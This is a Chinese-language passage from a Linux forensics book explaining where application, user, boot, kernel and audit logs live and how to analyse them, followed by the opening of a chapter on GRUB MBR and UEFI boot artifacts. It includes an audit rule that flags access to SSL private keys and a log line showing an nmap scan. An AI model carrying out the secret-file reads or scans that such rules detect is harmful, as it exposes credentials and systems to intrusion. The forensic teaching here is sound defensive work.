大多数守护进程提供配置选项来增加日志记录的详细程度。有些守护进程提供非常细致的选择性日志记录功能。例如,Postfix 配置指令允许为特定的 IP 地址或域名列表增加日志记录:

debug_peer_level = 3
debug_peer_list = 10.0.1.99

在此示例中,选择了单个 IP 地址进行增强日志记录,使用 Postfix 的内部调试级别(使用级别 3 而不是默认的 2)。每个守护进程的配置文档将描述详细、调试或其他选择性日志记录调整的可能性。

如前所述,通过 systemd 启动的守护进程的 stdoutstderr 将被捕获并记录到日志中,这从法医准备的角度也非常有用。如果守护进程允许向控制台输出详细信息或调试信息,则可以在事件或调查期间临时启用。

独立服务器应用程序日志

应用程序通常会管理自己的日志文件,而不使用像 syslog 或 systemd 日志这样的本地日志系统。在这些情况下,日志通常会存储在单独的日志文件或日志目录中,通常位于 /var/log/ 目录下。

较大的应用程序可能足够复杂,需要为不同的子系统和组件创建多个独立的日志文件。这可能包括以下内容的单独日志文件:

  • 应用程序技术错误

  • 用户身份验证(登录、注销等)

  • 应用程序用户交易(如 Web 访问、会话、购买等)

  • 安全违规和警报

  • 轮换或归档日志

Apache 网络服务器就是一个很好的例子。它通常会有一个独立的目录,比如 /var/log/apache2//var/log/httpd/。该目录的内容可能包括以下日志:

  • 一般 Web 访问 (access.log)

  • 单个虚拟主机的 Web 访问

  • 单个 Web 应用程序的 Web 访问

  • 守护进程错误 (error.log)

  • SSL 错误日志

应用程序通常会在其配置文件中指定日志位置、内容和详细程度。如果日志位置不明显,取证检查员应检查这些日志位置。

一些应用程序的安装可能完全包含在文件系统的特定目录中,并且应用程序可能使用该目录来存储日志以及其他应用程序文件。这种设置通常出现在可能自包含于一个目录中的 Web 应用程序中。例如:

Nextcloud 托管平台和 Roundcube Webmail 应用程序具有以下应用程序日志:

  • nextcloud/data/nextcloud.log

  • nextcloud/data/updater.log

  • nextcloud/data/audit.log

  • roundcube/logs/sendmail.log

  • roundcube/logs/errors.log

请记住,这些日志是除了 Web 服务器访问和错误日志(如 Apache、Nginx 等)之外生成的。对于 Web 应用程序,取证检查员可能会在多个地方找到与特定应用程序、事件或事故相关的日志。

一些应用程序可能将日志存储在数据库中,而不是文本文件中。这些数据库可以是完整的数据库服务,如 MySQL 或 Postgres,或者是像 SQLite 这样的本地数据库文件。

与系统上安装的程序相关的另一个有趣的日志是 alternatives 日志。alternatives 系统最初为 Debian 开发,用于允许安装多个并行版本的相似程序。多个发行版已经采用了 alternatives 机制。update-alternatives 脚本管理位于 /etc/alternatives/ 目录中的指向通用或替代应用程序名称的符号链接。例如,创建多个符号链接以提供 vi 程序的替代:

$ ls -gfo /usr/bin/vi /etc/alternatives/vi /usr/bin/vim.basic
lrwxrwxrwx 1      20 Aug 3 14:27 /usr/bin/vi -> /etc/alternatives/vi
lrwxrwxrwx 1      18 Nov 8 11:19 /etc/alternatives/vi -> /usr/bin/vim.basic
-rwxr-xr-x 1 2675336 Oct 13 17:49 /usr/bin/vim.basic

/etc/alternatives/ 符号链接的时间戳表示上次更改的时间。此信息也记录在 alternatives.log 文件中:

$ cat /var/log/alternatives.log
...
update-alternatives 2020-11-08 11:19:06: link group vi updated to point to /usr/bin/vim.basic
...

这是一个系统范围的方法,用于分配默认应用程序(类似于桌面用户的 XDG 默认设置),并有助于构建系统中使用了哪些程序的整体图景。有关更多信息,请参阅 update-alternatives(1) 手册页^(4)。

在进行法医检查时,要特别注意错误日志。错误消息揭示了异常和可疑活动,有助于重建过去的事件。在调查入侵时,事件发生之前出现的错误消息可能表明攻击前的侦察或之前的失败尝试。

独立用户应用程序日志

当用户登录到 Linux 系统时,系统的各个组件(如登录、pam、显示管理器等)会创建标准日志。在用户登录到他们的桌面或 shell 后,进一步的日志也可能会保存在特定于该用户的位置。

systemd 日志将特定于用户登录会话的持久日志保存在/var/log/journal/MACHINE-ID/user-UID.journal中,其中UID是用户的数字 ID。这个日志(以及旋转的实例)包含了一个人登录会话的活动痕迹,其中可能包括以下信息:

  • 达到的 systemd 目标和启动的用户服务

  • Dbus-daemon 激活的服务和其他活动

  • 像 gnupg、polkit 等代理

  • 来自子系统的消息,比如 pulseaudio 和蓝牙

  • 来自桌面环境的日志,如 GNOME

  • 权限提升,如sudopkexec

用户日志文件的格式与系统日志文件相同,你可以使用journalctl工具来分析它们(在本章前面有描述)。

其他日志可能会在程序由用户运行时被保存。这些程序日志的存储位置必须位于用户可写的目录中,这通常意味着它们会存储在用户的主目录下。持久日志最常见的存放位置是符合 XDG 基础目录标准的地方,如/.local/share/*APP*/**或*/.config/APP/**(其中APP*是生成用户日志的应用程序)。

以下示例展示了一个存储在~/.config/中的 Jitsi 视频聊天应用程序日志,其中包含错误消息:

$ cat ~/.config/Jitsi\ Meet/logs/main.log
[2020-10-17 15:20:16.679] [warn] APPIMAGE env is not defined, current
 application is not an AppImage
...
[2020-10-17 16:03:19.045] [warn] APPIMAGE env is not defined, current
 application is not an AppImage
...
[2020-10-21 20:52:19.348] [warn] APPIMAGE env is not defined, current
 application is not an AppImage

这里显示的良性警告消息是在每次 Jitsi 应用程序启动时生成的。对于法医调查员来说,这些消息的内容可能并不有趣,但时间戳表明了每次视频聊天程序启动的时间。像这样的琐碎错误在重建过去的事件时可能是有价值的。

一些程序忽略 XDG 标准,在用户主目录的根目录下创建隐藏的文件和目录。例如,Zoom 视频聊天应用程序会创建一个~/.zoom/log/目录,其中包含一个日志文件:

$ cat ~/.zoom/logs/zoom_stdout_stderr.log
ZoomLauncher started.
cmd line: zoommtg://zoom.us/join?action=join&confno=...
...

这个 Zoom 日志包含了大量信息,包括使用过的历史会议 ID。

临时或非持久性日志也可能位于~/.local/cache/ APP*/**中,因为这个缓存目录是为可以删除的数据而设计的。

在这个例子中,libvirt系统用于管理用户的 KVM/QEMU 虚拟机,并为每台机器创建一个日志目录,其中包含每台机器的日志文件:

$ cat ~/.cache/libvirt/qemu/log/pc1.log
2020-09-24 06:57:35.099+0000: starting up libvirt version: 6.5.0, qemu version: 5.1.0,
kernel: 5.8.10-arch1-1, hostname: pc1.localdomain
LC_ALL=C \
PATH=:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/home/sam/script \
HOME=/home/sam \
USER=sam \
LOGNAME=sam \
XDG_CACHE_HOME=/home/sam/.config/libvirt/qemu/lib/domain-1-linux/.cache \
QEMU_AUDIO_DRV=spice \
/bin/qemu-system-x86_64 \
...

在用户主目录中搜索 *.log 文件或名为“log”的目录将生成一个初步的文件列表以供分析。Linux 应用程序可以生成大量日志和持久数据,这些数据会在用户运行各种程序时保存。

单个应用程序日志的分析超出了本书的范围,但值得一提的是,许多流行的应用程序会在用户的主目录中存储大量关于过去使用的信息。这些信息通常包含已打开的文件历史、远程主机连接、与其他人的通信、使用时间戳、访问的设备等。

Plymouth 启动画面日志

在启动过程中,大多数桌面发行版使用 Plymouth 系统在系统启动时显示图形化的启动画面。按下 ESC 键可以切换到控制台输出。非图形化服务器也可以使用 Plymouth 在系统启动时提供可见的输出。输出会为每个组件提供带有绿色 [ OK ] 或红色 [FAILED] 消息的颜色状态指示器。

这个 Plymouth 控制台输出通常保存在 /var/log/boot.log 文件中;例如:

$ cat /var/log/boot.log
...
[ OK ] Started Update UTMP about System Boot/Shutdown.
[ OK ] Started Raise network interfaces.
[ OK ] Started Network Time Synchronization.
[ OK ] Reached target System Time Synchronized.
[ OK ] Reached target System Initialization.
[ OK ] Started Daily Cleanup of Temporary Directories.
[ OK ] Listening on D-Bus System Message Bus Socket.
[ OK ] Listening on Avahi mDNS/DNS-SD Stack Activation Socket.
[ OK ] Started Daily apt download activities.
[ OK ] Started Daily rotation of log files.
[ OK ] Started Daily apt upgrade and clean activities.
[ OK ] Started Daily man-db regeneration.
[ OK ] Reached target Timers.
[ OK ] Listening on triggerhappy.socket.
[ OK ] Reached target Sockets.
[ OK ] Reached target Basic System.
...

这个文件包含了生成颜色指示器所需的转义代码。即使你的分析工具警告它是一个二进制文件,它也是安全查看的。

启动过程中失败的组件也会出现在启动日志中:

$ cat /var/log/boot.log
...
[FAILED] Failed to start dnss daemon.
See 'systemctl status dnss.service' for details.
[ OK ] Started Simple Network Management Protocol (SNMP) Daemon..
[FAILED] Failed to start nftables.
See 'systemctl status nftables.service' for details.
...

启动日志的轮换版本也可能存在于 /var/log/ 目录中。

这个启动日志在取证调查中可能很有趣。它展示了上次启动期间事件的顺序,并可能提供有用的错误信息。例如,前面的错误信息表明 Linux 防火墙规则(nftables)未能启动。如果这是一次系统入侵调查,这可能是一个关键的线索。

内核和审计日志

迄今为止描述的日志是由用户空间程序、守护进程和应用程序生成的。Linux 内核也会从内核空间生成日志信息,这些信息在取证调查中可能非常有用。本节将解释内核生成的消息的目的、它们的位置以及如何分析它们。

Linux 审计系统由许多用户空间工具和守护进程组成,用于配置审计,但审计和日志记录活动是在运行中的内核中执行的。这就是将其与内核日志机制一起包含在此的原因。防火墙日志也是由内核生成的,并且会很好地适应这一部分,但该主题在第八章关于 Linux 网络取证分析中有所覆盖。

内核环形缓冲区

Linux 内核有一个循环缓冲区,其中包含由内核和内核模块生成的消息。这个缓冲区是固定大小的,一旦填满,它将保持满并开始用任何新的条目覆盖最旧的条目,这意味着内核日志会随着新消息的写入而不断丢失。用户空间的守护进程需要捕获并处理生成的事件。内核为系统守护进程如 systemd-journald 和 rsyslogd 提供了/dev/kmsg/proc/kmsg,使它们可以读取新生成的内核消息。这些消息然后根据日志守护进程的配置被保存或转发。

dmesg命令用于在运行中的系统上显示当前的环形缓冲区内容,但在死后取证检查中没有用处。环形缓冲区仅存在于内存中,但我们可以在写入到文件系统的日志中找到它的痕迹。在启动过程中,内核在任何日志守护进程启动之前开始将消息保存到环形缓冲区。一旦这些守护进程(如 systemd-journald、rsyslogd 等)启动,它们就可以读取所有当前的内核日志并开始监控新的日志。

通常,syslog 守护进程会将内核事件记录到/var/log/kern.log文件中。该日志的旋转版本可能包括kern.log.1kern.log.2.gz等。格式与其他 syslog 文件类似。例如,从 Raspberry Pi 的 rsyslogd 压缩旋转日志中保存的内核日志如下所示:

$ zless /var/log/kern.log.2.gz
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] Booting Linux on physical CPU 0x0
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] Linux version 4.19.97-v7l+ (dom@buildbot) ...
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] CPU: ARMv7 Processor [410fd083] revision 3
(ARMv7), cr=30c5383d
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] CPU: div instructions available: patching
division code
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] CPU: PIPT / VIPT nonaliasing data cache,
PIPT instruction cache
Aug 12 06:17:04 raspberrypi kernel: [  0.000000] OF: fdt: Machine model: Raspberry Pi 4
Model B Rev 1.1
...

rsyslogd 守护进程有一个名为imklog的模块,负责管理内核事件的日志记录,通常配置在/etc/rsyslog.conf文件中。

Systemd 将内核日志与其他内容一起存储在日志中。要查看来自日志文件的内核日志,可以添加-k 标志,如下所示:

$ journalctl --file system.journal -k
-- Logs begin at Thu 2020-11-05 08:42:14 CET, end at Thu 2020-11-05 10:12:05 CET. --
Nov 05 08:42:14 pc1 kernel: microcode: microcode updated early to revision 0xd6, date =
 2020-04-27
Nov 05 08:42:14 pc1 kernel: Linux version 5.9.3-arch1-1 (linux@archlinux) (gcc (GCC)
 10.2.0, GNU ld (GNU Binutils) 2.35.1) #1 SMP PREEMPT Sun, 01 Nov 2020 12:58:59 +0000
Nov 05 08:42:14 pc1 kernel: Command line: BOOT_IMAGE=/boot/vmlinuz-linux root=UUID=efbfc8dd
-8107-4833-9b95-5b11a1b96875 rw loglevel=3 quiet pcie_aspm=off i915.enable_dpcd_backlight=1
...

/etc/systemd/journald.conf中有一个参数(ReadKMsg=),它启用从/dev/kmsg处理内核消息(这是默认设置)。

对于取证检查员来说,内核消息非常重要,它们有助于重建系统在启动时和系统运行期间(直到关机)硬件组件的状态。在此期间(由启动 ID 标识),可以看到已连接、已断开和已修改的硬件设备(包括制造商详情)的记录。此外,还可以找到有关各种内核子系统的信息,如网络、文件系统、虚拟设备等。你可以在内核日志中找到的一些信息示例如下:

  • CPU 特性和微代码

  • 内核版本和内核命令行

  • 物理内存和内存映射

  • BIOS 和主板详细信息

  • ACPI 信息

  • 安全启动和 TPM

  • PCI 总线和设备

  • USB 集线器和设备

  • 以太网接口和网络协议

  • 存储设备(SATA、NVMe 等)

  • 防火墙日志(已阻止或已接受的包)

  • 审计日志

  • 错误和安全警报

让我们来看一些在取证调查中有趣的内核消息示例,或者可能引发有关消息存在的问题。

在这个示例中,提供了关于特定主板的信息:

Aug 16 12:19:20 localhost kernel: DMI: System manufacturer System Product
 Name/RAMPAGE IV BLACK EDITION, BIOS 0602 02/26/2014

在这里,我们可以确定主板是华硕的 Republic of Gamers 型号,当前的固件(BIOS)版本也已显示。主板型号可能提供一些系统用途的提示(如游戏主机、服务器、办公电脑等)。固件版本可能在检查与安全相关的漏洞时有所帮助。

新连接的硬件将生成类似以下的内核日志:

Nov 08 15:16:07 pc1 kernel: usb 1-1: new full-speed USB device number 19 using xhci_hcd
Nov 08 15:16:08 pc1 kernel: usb 1-1: New USB device found, idVendor=1f6f, idProduct=0023,
 bcdDevice=67.59
Nov 08 15:16:08 pc1 kernel: usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Nov 08 15:16:08 pc1 kernel: usb 1-1: Product: Jawbone
Nov 08 15:16:08 pc1 kernel: usb 1-1: Manufacturer: Aliph
Nov 08 15:16:08 pc1 kernel: usb 1-1: SerialNumber: Jawbone_00213C67C898

在这里,外部扬声器被插入系统。这条日志信息将一件特定硬件与机器在特定时间点关联起来,并表明一个人曾在物理上靠近以插入 USB 线缆。

以下是关于网络接口模式的示例内核消息:

Nov 2 22:29:57 pc1 kernel: [431744.148772] device enp8s0 entered promiscuous mode
Nov 2 22:33:27 pc1 kernel: [431953.449321] device enp8s0 left promiscuous mode

处于 混杂模式 的网络接口表示正在使用数据包嗅探器捕获网络子网上的流量。当网络管理员进行故障排除,或计算机已被入侵并正在嗅探密码或其他信息时,接口可能会进入混杂模式。

关于网络接口在线/离线状态的内核消息可能如下所示:

Jul 28 12:32:42 pc1 kernel: e1000e: enp0s31f6 NIC Link is Up 1000 Mbps Full Duplex,
 Flow Control: Rx/TX
Jul 28 13:12:01 pc1 kernel: e1000e: enp0s31f6 NIC Link is Down

在这里,内核日志表明某个网络接口上线了近 50 分钟后离线。如果这是一起入侵或数据窃取调查,突然出现一个接口可能表示一个未使用的网络端口被涉及。如果涉及的是一个未使用的物理以太网端口,那可能意味着服务器有物理访问(这意味着你应该检查 CCTV 录像或服务器房间的访问日志)。

在分析内核日志时,尝试将引导日志与操作日志分开。在启动过程中,会在短时间内生成数百行与启动过程相关的日志。启动完成后生成的内核日志将指示机器在操作状态下的变化,直到关机为止。

在进行调查或攻击时,你可以临时增加内核日志的详细程度,以生成更多信息。内核接受参数来指定在多个区域中增加(或减少)日志记录。有关内核参数的更多信息,请参阅 github.com/torvalds/linux/blob/master/Documentation/admin-guide/kernel-parameters.txt(搜索“log”)。这些参数可以在系统启动时添加到 GRUB 中(更多信息请参见第六章)。

个别内核模块也可能有详细标志以增加日志记录。使用 modinfo 命令加上内核模块名称来查找可能的调试选项。以下是一个示例:

$ modinfo e1000e
filename:       /lib/modules/5.9.3-arch1-1/kernel/drivers/net/ethernet/intel/e1000e/e1000e.ko.xz
license:        GPL v2
description:    Intel(R) PRO/1000 Network Driver
...
parm:           debug:Debug level (0=none,...,16=all) (int)
...

在这个示例中,Ethernet 模块 e1000e 有一个可以设置的 debug 选项。可以通过将 .conf 文件放入 /etc/modprobe.d/ 目录中来指定单个模块的选项。有关更多信息,请参阅 modprobe.d(5)手册页。

Linux 审计系统

Linux 审计系统在源代码的 README 文件中有描述:“Linux 审计子系统提供了一个安全的日志框架,用于捕获和记录与安全相关的事件。” Linux 审计是一个内核特性,根据一组规则生成审计记录。它与其他日志机制有相似之处,但它更加灵活、细粒度,且能够记录文件访问和系统调用。auditctl程序将规则加载到内核中,auditd守护进程将审计记录写入磁盘。有关更多信息,请参阅 auditctl(8)和 auditd(8)的手册页。图 5-4 展示了各个组件之间的交互。

Image

图 5-4:Linux 审计系统

审计规则有三种类型:

控制规则 审计系统的整体控制

文件或“监视”规则 审计文件和目录的访问

系统调用 审计系统调用

审计规则在启动时加载到内核中,或者由系统管理员使用auditctl工具在运行中的系统上加载。^(5)审计规则位于/etc/audit/audit.rules文件中。有关审计规则的更多信息,请参阅 audit.rules(7)手册页。

位于/etc/audit/rules.d/.rules的多个单独的规则文件可以与/etc/audit/audit.rules文件合并,使用augenrules*文件。审计规则文件只是一个命令行参数列表,这些参数将被提供给auditctl命令。

下面是一些在规则文件中看到的审计规则行示例:

-D
-w /etc/ssl/private -p rwa
-a always,exit -S openat -F auid=1001

第一个规则删除所有当前规则,从而有效地创建一个新的规则集。第二个规则监视/etc/ssl/private/目录中的所有文件(递归)。如果任何用户或进程读取、写入或更改任何文件的属性(如 SSL 私钥),则会生成一个审计记录。第三个规则监视特定用户(通过auid=指定的 UID 1001)打开的所有文件。假设该用户面临更高的攻击风险或被怀疑有不当行为。

审计日志的默认位置是/var/log/audit/audit.logauditd会将新的审计记录写入该文件。这是一个纯文本文件,包含FIELD = VALUE对,值之间用空格分隔。当前的字段名称列表可以在* github.com/linux-audit/audit-documentation/blob/master/specs/fields/field-dictionary.csv *找到。该文件可以以原始格式进行查看,但ausearchaureport工具提供了规范化、后处理和更易读的输出。

audit.log文件可以复制到一台 Linux 分析机器上,在该机器上可以使用ausearchaureport,并通过--input标志指定文件。

审计记录格式可以是原始的或丰富的。丰富的记录会将数字解析为名称,并将其附加到日志行上。来自/var/log/audit/audit.log文件的一个示例丰富审计记录如下所示:

type=USER_CMD msg=audit(1596484721.023:459): pid=12518 uid=1000 auid=1000 ses=3
subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='cwd="/home/sam"
cmd=73797374656D63746C20656E61626C652073736864 exe="/usr/bin/sudo" terminal=pts/0
res=success{'}^]UID="sam" AUID="sam"

使用 ausearch 工具生成的相同审计记录如下所示:

$ ausearch --input audit.log
...
time->Mon Aug 3 21:58:41 2020
type=USER_CMD msg=audit(1596484721.023:459): pid=12518 uid=1000 auid=1000 ses=3
subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='cwd="/home/sam"
cmd=73797374656D63746C20656E61626C652073736864 exe="/usr/bin/sudo" terminal=pts/0
res=success'
...

该命令生成整个audit.log文件的格式化输出。在这里,日期从纪元格式转换,并进行了一些控制字符的格式修正。

你可以为输出格式指定csvtextcsv格式对于导入到其他工具中非常有用。text格式为每个审计记录生成一行可读的内容:

$ ausearch --input audit.log --format text
...
At 20:05:53 2020-11-08 system, acting as root, successfully started-service
man-db-cache-update using /usr/lib/systemd/systemd
At 20:05:53 2020-11-08 system, acting as root, successfully stopped-service
man-db-cache-update using /usr/lib/systemd/systemd
At 20:05:53 2020-11-08 system, acting as root, successfully stopped-service
run-r629edb1aa999451f942cef564a82319b using /usr/lib/systemd/systemd
At 20:07:02 2020-11-08 sam successfully was-authorized sam using /usr/bin/sudo
At 20:07:02 2020-11-08 sam successfully ran-command nmap 10.0.0.1 using /usr/bin/sudo
At 20:07:02 2020-11-08 sam, acting as root, successfully refreshed-credentials root
using /usr/bin/sudo
At 20:07:02 2020-11-08 sam, acting as root, successfully started-session /dev/pts/1
using /usr/bin/sudo
At 20:07:06 2020-11-08 sam, acting as root, successfully ended-session /dev/pts/1

查看 ausearch(8)手册页,了解其他特定的审计日志查询。

要生成来自审计日志文件的统计报告,可以使用aureport命令:

$ aureport --input audit.log

Summary Report
======================
Range of time in logs: 2020-08-03 13:08:48.433 - 2020-11-08 20:07:09.973
Selected time for report: 2020-08-03 13:08:48 - 2020-11-08 20:07:09.973
Number of changes in configuration: 306
Number of changes to accounts, groups, or roles: 4
Number of logins: 25
Number of failed logins: 2
Number of authentications: 48
Number of failed authentications: 52
Number of users: 5
Number of terminals: 11
Number of host names: 5
Number of executables: 11
Number of commands: 5
Number of files: 0
Number of AVC's: 0
Number of MAC events: 32
Number of failed syscalls: 0
Number of anomaly events: 5
Number of responses to anomaly events: 0
Number of crypto events: 211
Number of integrity events: 0
Number of virt events: 0
Number of keys: 0
Number of process IDs: 136
Number of events: 22056

该总结可能有助于包含在取证报告中,或帮助指导下一步在取证检查中该关注哪里。

你可以为这些统计数据生成单独的报告。例如,以下生成一个关于登录的报告:

$ aureport --input audit.log --login

Login Report
============================================
# date time auid host term exe success event
============================================
1\. 2020-08-03 14:08:59 1000 ? ? /usr/libexec/gdm-session-worker yes 294
2\. 2020-08-03 21:55:21 1000 ? ? /usr/libexec/gdm-session-worker no 444
3\. 2020-08-03 21:58:52 1000 10.0.11.1 /dev/pts/1 /usr/sbin/sshd yes 529
4\. 2020-08-05 07:11:42 1000 10.0.11.1 /dev/pts/1 /usr/sbin/sshd yes 919
5\. 2020-08-05 07:12:38 1000 10.0.11.1 /dev/pts/1 /usr/sbin/sshd yes 950

查看 aureport(9)手册页,了解生成其他详细报告所需的标志位。

aureportausearch命令也可以指定时间段。例如,以下报告是为 11 月 8 日上午 9 点到 10 点(但不包括 10 点)之间的时间段生成的:

$ aureport --input audit.log --start 2020-11-08 09:00:00 --end 2020-11-08 09:59:59

aureportausearch都使用相同的时间范围标志。

aureportausearch命令有标志位可以解释数字实体并将其转换为名称。但不要这样做。这样会将数字用户 ID 和组 ID 替换为在你自己分析机器上找到的匹配名称,而不是来自正在分析的可疑磁盘。ausearch命令还有一个标志位可以解析主机名,但在进行取证检查时不推荐使用。这可能会触发 DNS 网络请求,进而产生不准确的结果或以其他方式妨碍调查。

总结

在本章中,我们已经标识了 Linux 系统上典型日志的位置。你已经学习了如何查看这些日志以及它们可能包含的信息。你还看到了在取证环境中用于分析日志的工具示例。本章提供了 Linux 日志的背景知识,这些内容在本书其余部分中都有提到。

第六章:重建系统启动和初始化**

Image

本章介绍 Linux 系统启动和初始化过程的取证分析。我们将检查启动的早期阶段,其中 BIOS 或 UEFI 固件将控制权交给引导加载程序,内核的加载和执行,以及 systemd 初始化运行系统。此外,还包括电源管理活动的分析,如睡眠和休眠,以及系统最终的关机过程。

引导加载程序分析

传统 PC 使用 BIOS(基本输入输出系统)芯片运行来自磁盘第一个扇区的代码以启动计算机。这个第一个扇区称为 主引导记录 (MBR),它启动了将操作系统内核和其他组件加载到内存中的过程。现代 PC 使用 统一可扩展固件接口 (UEFI) 来从 EFI 系统分区中的 FAT 文件系统运行 EFI 二进制程序文件。这些 UEFI 特定的程序由固件直接运行,管理操作系统的加载和执行过程。本节描述了这些 Linux 系统早期启动阶段的取证 artifacts,这些可能对调查人员有价值。

基于 PC 的 Linux 系统使用 BIOS 或 UEFI 启动,采用一种名为 引导加载程序 的软件来启动。引导加载程序负责将 Linux 内核和其他组件加载到内存中,选择正确的内核参数并执行内核。非 PC 系统可能有完全不同的启动过程。例如,树莓派不使用 BIOS 或 UEFI,而是有自己独特的引导机制,^(1) 本章也将简要描述。

现代 Linux 计算机大多数使用 GRand Unified Bootloader (GRUB) 系统进行启动。GRUB 替代了更古老、基础的引导加载程序 LILO(LInux LOader)。本节主要聚焦于通过 GRUB 的 MBR 和 UEFI 启动。我将在本章后面简要介绍树莓派启动及其他引导加载程序。

从取证角度来看,在分析引导加载程序过程时,我们可能会识别或提取一些 artifacts,例如:

  • 已安装的引导加载程序

  • 启动多个操作系统的证据

  • 曾经安装的多个 Linux 内核的证据

  • 启动文件的时间戳

  • 分区和文件系统的 UUID

  • 启动时传递给内核的参数

  • 根文件系统位置

  • 休眠映像位置

  • 引导加载程序密码哈希值

  • EFI 系统分区内容

  • 异常的引导加载程序二进制文件(用于可能的恶意软件分析)

第三章涵盖了分区表的分析,尽管引导加载程序和分区表紧密相关,我选择将它们分开讲解。对引导加载程序可执行代码的全面分析超出了本书的范围。分析恶意修改的引导加载程序涉及恶意软件逆向工程、二进制代码反编译与反汇编,以及代码块的执行调试或追踪。仅此一主题就足以填满一本书,因此这里仅包括提取引导加载程序组件和数据以供分析。BIOS 设置和 EFI 变量的分析是与操作系统无关的,这里只是简要提及。

BIOS/MBR GRUB 引导

使用 MBR 启动被视为遗留方式,但仍然在使用(通常用于小型虚拟机)。现代 UEFI 主板支持使用兼容性支持模块(CSM)进行 MBR 启动。^(2) 检查 PC 的 BIOS/固件设置可以确认是否启用了 CSM 引导。

图 6-1 显示了使用 MBR 的 Linux GRUB 的示意图。

Image

图 6-1:GRUB MBR 启动数据流

BIOS 读取磁盘的第一个扇区并执行代码,如果扇区零的最后两个字节是 0x55 和 0xAA。^(3) 这个签名表示它是一个 MBR。签名前的 64 个字节保留给一个 DOS 分区表,该表由四个每个 16 字节的条目组成。MBR 的前 446 个字节包含可执行的二进制代码(用汇编语言编写),该代码由 BIOS 加载到内存并执行。当你安装或更新 GRUB 的 MBR 时,boot.img文件会被写入扇区零(在根据系统要求修改后),并作为初始引导加载程序代码使用。^(4)

GRUB 的 MBR 包含几个可以搜索的字符串,下面显示了它们的十六进制表示:

47 52 55 42 20 00 47 65 6f 6d 00 48 61 72 64 20 GRUB .Geom.Hard
44 69 73 6b 00 52 65 61 64 00 20 45 72 72 6f 72 Disk.Read. Error

grub-install程序运行grub-bios-setup来写入 MBR。可以使用dd或支持导出扇区的十六进制编辑器提取 512 字节的引导扇区(boot.img)。

扇区零中的代码负责加载引导加载器代码的下一阶段并执行它。此后续代码也直接从磁盘上的扇区读取;然而,它的大小要大得多(数十千字节),因此它具有理解分区和文件系统并读取文件的功能。GRUB 2 版本将此阶段称为core.img,它由.img文件和grub/目录中的模块组成。此映像通过grub-mkimage创建,并在安装或更新 GRUB 时直接写入驱动器扇区。core.img的第一个扇区存储在 MBR 的字节偏移 92(0x5c)处,长度为 8 个字节(在 Intel 上以小端形式存储)。在 DOS 分区驱动器中,core.img代码通常位于 MBR(从扇区 1 开始)和第一个分区的起始位置(通常为扇区 63 或 2048)之间的区域。如果此“MBR 间隙”不可用,core.img可以存储在驱动器的其他位置,并通过指定的扇区列表读取。core.img的第一个扇区包含几个可搜索的字符串,下面是它们的示例及其十六进制表示:

6C 6F 61 64 69 6E 67 00 2E 00 0D 0A 00 47 65  loading......Ge
6F 6D 00 52 65 61 64 00 20 45 72 72 6F 72 00  om.Read. Error.

grub-install程序运行grub-mkimage来创建并写入core .img到驱动器中。core.img的大小和使用的扇区列表(文档中的“块列表”)在core.img的初始扇区中指定(称为diskboot.img)。可以使用dd或支持按扇区导出的十六进制编辑器提取core.img扇区。core.img代码查找并读取grub.conf文件,加载额外的 GRUB 模块,提供菜单系统,并执行其他 GRUB 任务。

UEFI GRUB 引导

BIOS/MBR 引导过程是在 1980 年代初期随着原始 IBM PC 的推出而引入的。大约 20 年后,英特尔为 PC 开发了一个更新、更先进的固件和引导系统。这一系统演变为 UEFI 标准,定义了硬件与操作系统之间的现代接口。它包括一种更具扩展性的分区方案,称为GPT,一种基于文件的引导分区(而非基于扇区的机制),称为EFI 系统分区(ESP),以及许多其他现代功能。

为了防止在 GPT 分区驱动器上意外丢失分区数据,在扇区零上安装了保护性 MBR,该 MBR 定义了一个最大 DOS 分区,类型为 0xEE,指示该驱动器正在使用 GPT 分区。(GPT 分区方案在第三章中讨论。)

固件的日益复杂化有助于简化引导加载过程。与 MBR 不同,EFI 引导不需要直接将代码块写入驱动器的原始扇区。可执行代码可以放在常规文件中,并简单地复制到正常 FAT 文件系统(ESP)中的预期位置。

Linux 发行版可以在 ESP 中指定文件的路径,例如 EFI/Linux/grubx64.efi。如果找不到此文件(或没有设置 EFI 变量),则默认文件位于 EFI/BOOT/BOOT64.EFI。该文件结合了前面小节中描述的 boot.imgcore.img 文件的功能。图 6-2 是使用 UEFI 的 Linux GRUB 图示。

Image

图 6-2:Grub UEFI 启动数据流

支持 UEFI 的主板包含比传统 BIOS/MBR 主板更有趣的取证证据。固件中包含持久的 EFI 变量,包含当前和以前安装的操作系统信息、启动顺序、安全启动信息、资产和库存标签等(这些是通用的,可以用来存储任何变量)。从主板的 NVRAM 变量中提取和分析 EFI 变量超出了本书的范围。GRUB 可以检测系统是使用 UEFI 还是 MBR 启动,并可以根据需要在两者上安装。

从取证角度来看,识别并分析在 ESP 分区中发现的可疑二进制文件是很重要的。ESP 曾被用于漏洞利用,也作为提取内存的取证技术。维基解密发布了与 EFI 和 UEFI 相关的泄露文件,来自 Vault 7:CIA 黑客工具公开 (wikileaks.org/ciav7p1/cms/page_26968080.html)。学术研究也描述了使用 UEFI 二进制文件转储内存镜像的情况 (www.diva-portal.org/smash/get/diva2:830892/FULLTEXT01.pdf).

GRUB 配置

GRUB 在 MBR 和 UEFI 之间的主要差异体现在安装过程上(MBR 写入扇区,UEFI 复制文件并设置 EFI 变量)。然而,它们的配置非常相似。

配置主要围绕 grub.conf 文件展开,具体存储位置取决于发行版。以下是几个典型的 grub.conf 可能存在的位置:

  • /boot/grub/grub.cfg

  • /boot/grub2/grub.cfg

  • EFI/fedora/grub.cfg(在 UEFI FAT 文件系统上)

有时,Linux 系统会将一个单独的小文件系统挂载到 /boot/,用于保存 GRUB 配置文件。

grub.cfg 文件通常不会手动修改,而是通过 grub-mkconfig 脚本(在某些系统上是 update-grub)生成。这些脚本从 /etc/default/grub 文件读取配置变量,并包含来自 /etc/grub.d/ 目录的辅助脚本。文件 /etc/grub.d/40_custom/boot/grub/custom.cfg(如果存在)用于额外的自定义设置。

这里提到的文件可能包含系统管理员所做的更改和自定义设置,在取证检查过程中应进行分析。以下是一个示例 /etc/default/grub 文件:

...
GRUB_DEFAULT=0
